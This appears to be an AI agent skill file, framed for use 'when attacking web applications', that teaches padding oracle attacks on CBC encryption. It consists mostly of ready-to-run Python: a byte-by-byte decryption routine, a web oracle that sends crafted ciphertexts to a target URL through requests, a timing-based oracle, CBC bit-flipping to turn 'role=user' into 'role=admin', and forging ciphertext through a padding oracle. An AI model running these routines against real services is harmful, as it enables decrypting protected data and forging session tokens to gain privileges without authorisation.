| name | padding-oracle |
| description | Exploit padding oracle vulnerabilities in CBC mode encryption. Use this skill when attacking web applications or services that leak information about PKCS7 padding validity. |
Padding Oracle Attacks
Exploit padding validation leaks to decrypt ciphertext.
PKCS7 Padding Overview
def pkcs7_pad(data: bytes, block_size: int = 16) -> bytes:
"""Apply PKCS7 padding."""
padding_len = block_size - (len(data) % block_size)
return data + bytes([padding_len] * padding_len)
def pkcs7_unpad(data: bytes) -> bytes:
"""Remove and validate PKCS7 padding."""
if not data:
raise ValueError("Empty data")
padding_len = data[-1]
if padding_len == 0 or padding_len > len(data):
raise ValueError("Invalid padding length")
for i in range(padding_len):
if data[-(i+1)] != padding_len:
raise ValueError("Invalid padding bytes")
return data[:-padding_len]
# Valid padding examples:
# b"hello\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b" (11 bytes of \x0b)
# b"hello world\x05\x05\x05\x05\x05" (5 bytes of \x05)
# Full block of padding: b"\x10" * 16
Padding Oracle Attack Concept
"""
CBC Decryption: P[i] = D(C[i]) XOR C[i-1]
The attack works because:
1. We control C[i-1] (the IV or previous ciphertext block)
2. Server tells us if padding is valid after decryption
3. We can deduce D(C[i]) byte by byte
For the last byte:
- We want P'[15] = 0x01 (valid single-byte padding)
- P'[15] = D(C[i])[15] XOR C'[i-1][15]
- If we find C'[i-1][15] that gives valid padding:
D(C[i])[15] = C'[i-1][15] XOR 0x01
- Original plaintext: P[15] = D(C[i])[15] XOR C[i-1][15]
"""
Basic Padding Oracle Attack
from typing import Callable
def padding_oracle_attack_block(
ciphertext_block: bytes,
previous_block: bytes,
oracle: Callable[[bytes, bytes], bool],
block_size: int = 16
) -> bytes:
"""Decrypt one block using padding oracle.
Args:
ciphertext_block: The block to decrypt
previous_block: IV or previous ciphertext block
oracle: Function that returns True if padding is valid
block_size: Block size (default 16 for AES)
Returns:
Decrypted plaintext block
"""
intermediate = bytearray(block_size)
plaintext = bytearray(block_size)
for byte_index in range(block_size - 1, -1, -1):
padding_value = block_size - byte_index
# Build the suffix of our crafted block
crafted = bytearray(block_size)
for i in range(byte_index + 1, block_size):
crafted[i] = intermediate[i] ^ padding_value
# Brute force the current byte
for guess in range(256):
crafted[byte_index] = guess
if oracle(bytes(crafted), ciphertext_block):
# Handle false positive for last byte
if byte_index == block_size - 1:
# Verify by changing previous byte
crafted[byte_index - 1] ^= 1
if not oracle(bytes(crafted), ciphertext_block):
continue
intermediate[byte_index] = guess ^ padding_value
plaintext[byte_index] = intermediate[byte_index] ^ previous_block[byte_index]
break
return bytes(plaintext)
def full_padding_oracle_attack(
ciphertext: bytes,
iv: bytes,
oracle: Callable[[bytes], bool],
block_size: int = 16
) -> bytes:
"""Decrypt entire ciphertext using padding oracle."""
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
plaintext = b''
for i, block in enumerate(blocks):
prev = iv if i == 0 else blocks[i-1]
def block_oracle(crafted, target):
full_ct = crafted + target
if i > 0:
full_ct = b'\x00' * (i * block_size) + full_ct
return oracle(full_ct)
decrypted = padding_oracle_attack_block(block, prev, block_oracle)
plaintext += decrypted
return pkcs7_unpad(plaintext)
Web Padding Oracle Attack
import requests
import base64
from urllib.parse import quote
def create_web_oracle(url: str, param_name: str = 'data') -> Callable:
"""Create oracle function for web application.
Detects padding errors from HTTP response.
"""
def oracle(ciphertext: bytes) -> bool:
encoded = base64.b64encode(ciphertext).decode()
try:
response = requests.get(
url,
params={param_name: encoded},
timeout=10
)
# Customize based on application behavior
# Some possibilities:
# - Different HTTP status codes
# - Different response times
# - Different error messages
if 'padding' in response.text.lower():
return False
if response.status_code == 500:
return False
if 'error' in response.text.lower():
return False
return True
except requests.exceptions.Timeout:
# Timing-based oracle
return True
return oracle
# Example usage
"""
oracle = create_web_oracle('https://vulnerable.com/decrypt')
plaintext = full_padding_oracle_attack(ciphertext, iv, oracle)
"""
CBC Bit Flipping Attack
def cbc_bitflip(
ciphertext: bytes,
iv: bytes,
known_plaintext: bytes,
target_plaintext: bytes,
block_index: int,
byte_offset: int,
block_size: int = 16
) -> tuple:
"""Flip bits in ciphertext to change decrypted plaintext.
Modifying C[i-1] affects P[i]:
P[i] = D(C[i]) XOR C[i-1]
To change P[i][j] from known to target:
C'[i-1][j] = C[i-1][j] XOR known[j] XOR target[j]
"""
ct = bytearray(ciphertext)
# Determine which byte to modify
if block_index == 0:
# Modify IV
iv = bytearray(iv)
iv[byte_offset] ^= known_plaintext[byte_offset] ^ target_plaintext[byte_offset]
return bytes(iv), bytes(ct)
else:
# Modify previous ciphertext block
modify_pos = (block_index - 1) * block_size + byte_offset
ct[modify_pos] ^= known_plaintext[byte_offset] ^ target_plaintext[byte_offset]
return iv, bytes(ct)
# Example: Change "role=user" to "role=admin"
# Known: "....role=user...." at block 2
# Target: "...role=admin..." (but must be same length for XOR)
Padding Oracle Encryption (POET)
def padding_oracle_encrypt(
plaintext: bytes,
oracle: Callable[[bytes], bool],
block_size: int = 16
) -> bytes:
"""Encrypt arbitrary plaintext using only a decryption padding oracle.
This creates valid ciphertext that decrypts to our plaintext.
"""
plaintext = pkcs7_pad(plaintext, block_size)
num_blocks = len(plaintext) // block_size
# Start with random last block
import os
ciphertext = os.urandom(block_size)
for block_idx in range(num_blocks - 1, -1, -1):
target_plain = plaintext[block_idx * block_size:(block_idx + 1) * block_size]
# Find intermediate values for current ciphertext block
intermediate = bytearray(block_size)
for byte_idx in range(block_size - 1, -1, -1):
padding_val = block_size - byte_idx
crafted = bytearray(block_size)
for i in range(byte_idx + 1, block_size):
crafted[i] = intermediate[i] ^ padding_val
for guess in range(256):
crafted[byte_idx] = guess
test_ct = bytes(crafted) + ciphertext[:block_size]
if oracle(test_ct):
intermediate[byte_idx] = guess ^ padding_val
break
# Compute previous block (or IV)
new_block = bytes(i ^ p for i, p in zip(intermediate, target_plain))
ciphertext = new_block + ciphertext
# First block_size bytes is the IV
return ciphertext
# The returned ciphertext[:16] is the IV, rest is ciphertext
Timing-Based Padding Oracle
import time
import statistics
def timing_oracle(
url: str,
samples: int = 5,
threshold_ms: float = 50
) -> Callable:
"""Create timing-based padding oracle.
Some implementations take longer to process valid padding.
"""
def oracle(ciphertext: bytes) -> bool:
times = []
for _ in range(samples):
start = time.perf_counter()
try:
requests.get(
url,
params={'data': base64.b64encode(ciphertext).decode()},
timeout=5
)
except:
pass
elapsed = (time.perf_counter() - start) * 1000
times.append(elapsed)
avg_time = statistics.mean(times)
# Valid padding often takes longer (or shorter depending on impl)
return avg_time > threshold_ms
return oracle